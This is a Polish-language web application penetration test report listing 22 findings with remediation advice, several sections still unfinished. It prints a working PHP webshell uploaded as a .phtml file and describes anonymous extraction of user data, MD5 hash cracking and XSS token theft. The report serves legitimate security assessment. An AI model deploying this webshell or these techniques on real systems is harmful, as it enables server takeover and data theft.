Web Application Report #1 - Polish

Plik PDF: [IN-PROGRESS]

Raport jest w trakcie przepisywania na markdown.

Adnotacja: Niniejszy raport nie zawiera części zrzutów ekranu, ponieważ autor zdecydował się nie udostępniać wyglądu testowanej aplikacji.

Podsumowanie

W dniach 27.03.2025 – 31.03.2025 przeprowadzone zostały testy bezpieczeństwa aplikacji internetowych dostępnych pod adresami [REDACTED] w obrębie wszystkich dostępnych funkcjonalności.

Testy przeprowadzono metodą whitebox przy wykorzystaniu kont testowych dostarczonych przez Stronę Zamawiającą.

W wyniku przeprowadzonych testów zaraportowano 22 zgłoszenia w tym 5 zgłoszeń o krytycznym poziomie ryzyka, 2 zgłoszenia o wysokim poziomie ryzyka, 8 zgłoszeń o średnim poziomie ryzyka, 3 zgłoszenia o niskim poziomie ryzyka oraz 4 zgłoszenia o charakterze informacyjnym.

[Krytyczny] Zdalne wykonywanie poleceń poprzez przesłanie plików .phtml

W aplikacji istnieje możliwość zdalnego wykonywania poleceń na serwerze poprzez umieszczenie odpowiednio przygotowanego pliku o rozszerzeniu .phtml w folderze /var/www/html/xxx/App/xxx/tmp/uploads. Aplikacja oraz funkcjonalność dodawania plików są dostępne dla nowo utworzonych użytkowników, którzy nie zostali przypisani do żadnych grup ani nie posiadają żadnych uprawnień, co skutkuje oceną tej podatności jako krytycznej. Podatność została również odtworzona przy użyciu przycisku „Zgłoś alert”, dostępnego w menu każdego użytkownika. Ze względu na fakt, że większość funkcjonalności związanych z przesyłaniem plików korzysta z tego samego endpointu API, istnieje prawdopodobieństwo występowania dodatkowych miejsc w aplikacji, które mogą umożliwiać odtworzenie tej podatności.

Wskazanie funkcjonalności umieszczania plików na serwerze:

[REDACTED]

Kod umieszczony w pliku webshell.phtml:

<?php
if (isset($_GET['oiuf2nhu32f03'])) {
   system($_GET['cmd']);
}
?>

Potwierdzenie istnienia pliku webshell.phtml oraz wykonanie polecenia ls /home na serwerze aplikacji internetowej z wykorzystaniem tymczasowej lokalizacji plików:

Potwierdzenie dostępności pliku webshell.phtml za pomocą żądania HTTP GET do folderu /common/user:

Rekomendacje naprawy

Zaleca się, aby pliki przesyłane przez użytkowników były przechowywane w katalogach, do których dostęp jest ściśle kontrolowany, a wykonanie poleceń na serwerze powinno być zablokowane.

Należy weryfikować i filtrować rozszerzenia przesyłanych plików w oparciu o białą listę dozwolonych wartości oraz sprawdzać ich deklarowany typ MIME (Content-Type) pod kątem zgodności z rzeczywistym formatem i dopuszczalnymi typami określonymi w konfiguracji aplikacji. Zaleca się sprawdzanie sygnatur plików (magic bytes) oraz ich zawartości w celu wykrycia potencjalnie szkodliwego kodu lub nieoczekiwanego typu zawartości.

[Krytyczny] Niebezpieczne przechowywanie haseł przy użyciu algorytmu MD5

Aplikacja przechowuje hasła użytkowników w postaci skrótów MD5, które są podatne na złamanie ze względu na ich słabą odporność kryptograficzną. Dodatkowo, hasła te są przesyłane w odpowiedziach API w odpowiedzi na różne żądania, co zwiększa ryzyko ich przechwycenia i nieautoryzowanego dostępu.

Skrót MD5 hasła użytkownika o adresie e-mail ds3@[REDACTED] przesłane w odpowiedzi API:

Weryfikacja czy przesłany skrót jest rzeczywiście skrótem hasła użytkownika:

Rekomendacje naprawy

Zalecane jest zastąpienie MD5 silniejszymi algorytmami, takimi jak bcrypt, Argon2 lub PBKDF2, z odpowiednią liczbą iteracji i unikalną solą dla każdego hasła.

Dodatkowo, hasła nigdy nie powinny być przesyłane w odpowiedziach API.

[Krytyczny] Informacje poufne przechowywane w pamięci lokalnej przeglądarki

Aplikacja przechowuje poufne informacje, takie jak token sesyjny user_token, user_token_refresh, szczegółowe dane aplikacji oraz informacje o ostatnio zalogowanym użytkowniku w formacie JWT, czyli w postaci jawnego tekstu, w pamięci lokalnej przeglądarki. Dane te obejmują m.in.: identyfikator użytkownika, identyfikator aplikacji, adres e-mail, numer telefonu, adres zamieszkania, datę urodzenia, numer PESEL, lokalizację plików prywatnych na serwerze, adresy IP oraz informacje dotyczące logowania dwuetapowego. To samo zagrożenie występuje również w publicznej części aplikacji, a nie tylko w panelu administracyjnym.

Przechowywanie tych danych w pamięci lokalnej przeglądarki naraża je na odczytanie przez dowolne skrypty JavaScript uruchomione w aplikacji lub przez osoby mające dostęp do przeglądarki, co może prowadzić do naruszenia poufności informacji i zwiększonego ryzyka ataków, takich jak Cross-Site Scripting (XSS).

Rekomendacje naprawy

Token user_token oraz inne wrażliwe dane nie powinny być przechowywane w localStorage, jeśli nie są niezbędne do działania aplikacji. Zaleca się ich całkowite usunięcie lub przechowywanie w HttpOnly cookies.

[Krytyczny] Nieodpowiednia kontrola dostępu do aplikacji

Aplikacja jest skonfigurowana nieprawidłowo, co skutkuje brakiem weryfikacji dostępu do wielu komponentów.

Przypadek #1 – Anonimowe uzyskanie dostępu do poufnych danych użytkowników.

Aplikacja umożliwia nieautoryzowanej osobie wysyłanie żądań do API, co pozwala, m.in. na pozyskanie danych poufnych wszystkich użytkowników aplikacji internetowej. Z użyciem ataku siłowego możliwe jest iterowanie po identyfikatorach użytkowników (np. 1111113331) i uzyskać informacje, takie jak adres e-mail, skrót MD5 hasła, adres zamieszkania, numer PESEL, numer telefonu i inne. Mechanizmy zabezpieczające przed tego typu atakami nie zostały zaimplementowane, w przeciwieństwie do ochrony stosowanej w formularzu logowania.

Żądanie o dane użytkownika (identyfikator 1111113331) wykonane bez uwierzytelnienia:

Iteracja po numerach ID i pozyskanie 31 zestawów poufnych informacji:

Prosta sesja łamania 29 wydobytych skrótów MD5 umożliwiła uzyskanie hasła do trzech kont: Sylwia Anonim, Adrian Anonim, oraz anonim@gmail.com.

Pozyskanie poufnych danych użytkowników aplikacji internetowej może zostać zrealizowane przy użyciu drugiego wskazanego linku, bez konieczności stosowania metod siłowych. Wysłanie anonimowego żądania skutkuje uzyskaniem pełnej bazy danych użytkowników, zawierającej wszystkie wcześniej opisane informacje:

Przypadek #2 – Anonimowe przesyłanie plików na serwer.

Aplikacja umożliwia anonimowe przesyłanie plików do katalogu /tmp/uploads poprzez żądanie do /index.php/base/uploadfile:

Potwierdzenie istnienia pliku na serwerze:

Rekomendacje naprawy

Zaleca się wprowadzenie odpowiednich mechanizmów uwierzytelniania i autoryzacji dla żądań API, a także implementację ograniczeń dostępu, takich jak weryfikacja uprawnień użytkownika oraz zabezpieczenie przed atakami brute-force.

Należy również wprowadzić limit prób i monitorowanie podejrzanej aktywności.

[Wysoki] Podatność Stored XSS w kilku funkcjonalnościach aplikacji

Aplikacja nieprawidłowo weryfikuje dane wejściowe przesyłane przez użytkownika. W efekcie możliwe jest umieszczenie na stronie złośliwego kodu wykonywanego podczas odwiedzin innego użytkownika w wskazanym miejscu. Ta podatność umożliwia przeprowadzenie ataków typu Cross-Site Scripting (XSS), co może prowadzić do kradzieży sesji, manipulacji treścią strony lub przekierowań na złośliwe witryny. Problem może występować globalnie w całej aplikacji, a poniżej przedstawiono jedynie wybrane przykłady jego występowania.

Przypadek #1 – Umieszczenie kodu w tytule lub opisie formularza oraz kradzież tokenów sesyjnych.

W przypadku, gdy użytkownik posiada uprawnienia do tworzenia lub edytowania formularzy, istnieje ryzyko przejęcia sesji dowolnego użytkownika lub administratora odwiedzającego dany formularz. Dodatkowo, umieszczony kod jest zapisywany w logach, które są dostępne w wielu miejscach aplikacji, co zwiększa ryzyko przejęcia tokenu Administratora.

Wskazanie funkcjonalności:

[REDACTED]

Umieszczenie złośliwego kodu i zapisanie formularza:

Przejście do dziennika zdarzeń skutkujące wykonaniem zamieszczonego kodu w tle:

Żądanie wysłane do serwera kontrolowanego przez atakującego, zawierające aktualny token sesji, co umożliwia przejęcie konta użytkownika:

Przypadek #2 – Przesłanie pliku SVG zawierającego osadzony kod jako zdjęcie profilowe.

Plik pozostaje w katalogu /tmp/uploads do momentu, gdy użytkownik zdecyduje się usunąć lub zmienić zdjęcie profilowe. Jeśli atakujący wróci na poprzednią stronę bez podejmowania jakiejkolwiek akcji po przesłaniu pliku, plik pozostanie w katalogu i nie zostanie automatycznie usunięty przez aplikację. W przypadku podjęcia jednej z tych akcji przez atakującego, plik zostanie usunięty, ponieważ teoretycznie nie powinien być przechowywany w tym miejscu.

Wskazanie funkcjonalności:

[REDACTED]

Umieszczenie na serwerze pliku Test-XSS.svg przy użyciu klawisza „ZMIEŃ ZDJĘCIE”. Lokalizacje pliku można wydobyć klikając na „Otwórz obraz w nowej karcie” lub sprawdzając odpowiedź do wysłanego żądania:

Egzekucja kodu umieszczonego w pliku Test-XSS.svg:

Pliki, które powinny być automatycznie usunięte z serwera:

Rekomendacje naprawy

Należy weryfikować i filtrować dane przekazywane przez użytkownika pod kątem obecności znaków specjalnych oraz niebezpiecznych fraz takich jak nazwy tagów czy eventów HTML, przed zapisaniem ich do miejsca docelowego oraz przed osadzeniem ich w treści strony.

[Wysoki] Brak unieważniania sesji po poprawnym wylogowaniu

Aplikacja nie unieważnia ciasteczka sesyjnego po poprawnym wylogowaniu użytkownika. Poniżej przedstawiono przykład ponownego użycia tokena sesyjnego po prawidłowym wylogowaniu użytkownika:

Zdobycie nowego tokena sesyjnego po zalogowaniu na konto (1) oraz poprawne wylogowanie się z konta (2):

Wykorzystanie tokena sesyjnego, który nie powinien być aktywny, do pozyskania adresu e-mail, numeru telefonu oraz skrótu MD5 hasła użytkownika:

Rekomendacje naprawy

Należy unieważniać tokeny sesyjne po poprawnym wylogowaniu.

[Średni] Zbyt długi czas ważności tokenu sesyjnego

Token user_token używany w aplikacji ma ustawiony czas ważności (expiration) na zbyt długi okres – 3 tygodnie od wygenerowania:

Rekomendacje naprawy

Zaleca się, aby czas ważności tokenu sesyjnego był ograniczony do kilku minut lub godzin, w zależności od wymagań aplikacji (np. 15 minut dla sesji użytkownika).

[Średni] Hasło użytkownika przesyłane w jawnym tekście w ścieżce URL

[IN-PROGRESS]

Rekomendacje naprawy

Hasło powinno być przesyłane w treści żądania (POST body) zamiast jako parametr URL, aby uniknąć jego zapisu w logach i historii przeglądarki.

Zalecane jest nie przesyłanie hasła w postaci jawnej, a zastosowanie mechanizmu sprawdzającego jego skrót (np. HMAC) po stronie klienta.

[Średni] Brak skanowania antywirusowego podczas przesyłania plików na serwer

[IN-PROGRESS]

Rekomendacje naprawy

Należy skanować wgrywane pliki pod kątem szkodliwego oprogramowania przed ich zapisem do miejsca docelowego.

[Średni] Nadmierne ujawnianie informacji w odpowiedziach aplikacji

[IN-PROGRESS]

Rekomendacje naprawy

Zaleca się, aby w odpowiedziach API znajdowały się wyłącznie informacje niezbędne do działania danej funkcjonalności aplikacji.

[Średni] Możliwość ominięcia polityki haseł

[IN-PROGRESS]

Rekomendacje naprawy

Zaleca się wprowadzenie weryfikacji haseł zarówno po stronie front-end, jak i back-end aplikacji, aby zapewnić zgodność z polityką haseł.

Należy również uniemożliwić ustawienie pustego hasła oraz wzmocnić politykę haseł aby była zgodna ze standardem ASVS v4.0.3.

[Średni] Możliwość przeprowadzania ataków siłowych na hasła użytkowników

[IN-PROGRESS]

Rekomendacje naprawy

Zaleca się wprowadzenie limitu błędnych prób logowania wraz z tymczasową blokadą możliwości zalogowania się na konto użytkownika i/lub zastosowanie mechanizmu typu reCaptcha.

Ponadto zaleca się wprowadzenie ograniczeń (rate limiting) uniemożliwiających masowe odpytywanie serwera.

[Średni] Token sesyjny przesyłany w adresach URL żądań

[IN-PROGRESS]

Rekomendacje naprawy

Token sesji powinien być przesyłany wyłącznie w nagłówkach żądań zamiast w adresie URL.

[Niski] Słaba obsługa błędów

[IN-PROGRESS]

Rekomendacje naprawy

Poprawić obsługę błędów, aby uniknąć narażenia wrażliwych informacji systemowych.

[Niski] Nieskuteczna implementacja mechanizmu anty-CSRF

[IN-PROGRESS]

Rekomendacje naprawy

Nie należy akceptować żądań, których struktura jest niezgodna z oczekiwaną w tym m.in. metoda żądania, wartości oraz sposób przekazywania parametrów. W opisanej sytuacji kluczowe jest wymaganie przekazania prawidłowego tokenu CSRF powiązanego z sesją danego użytkownika.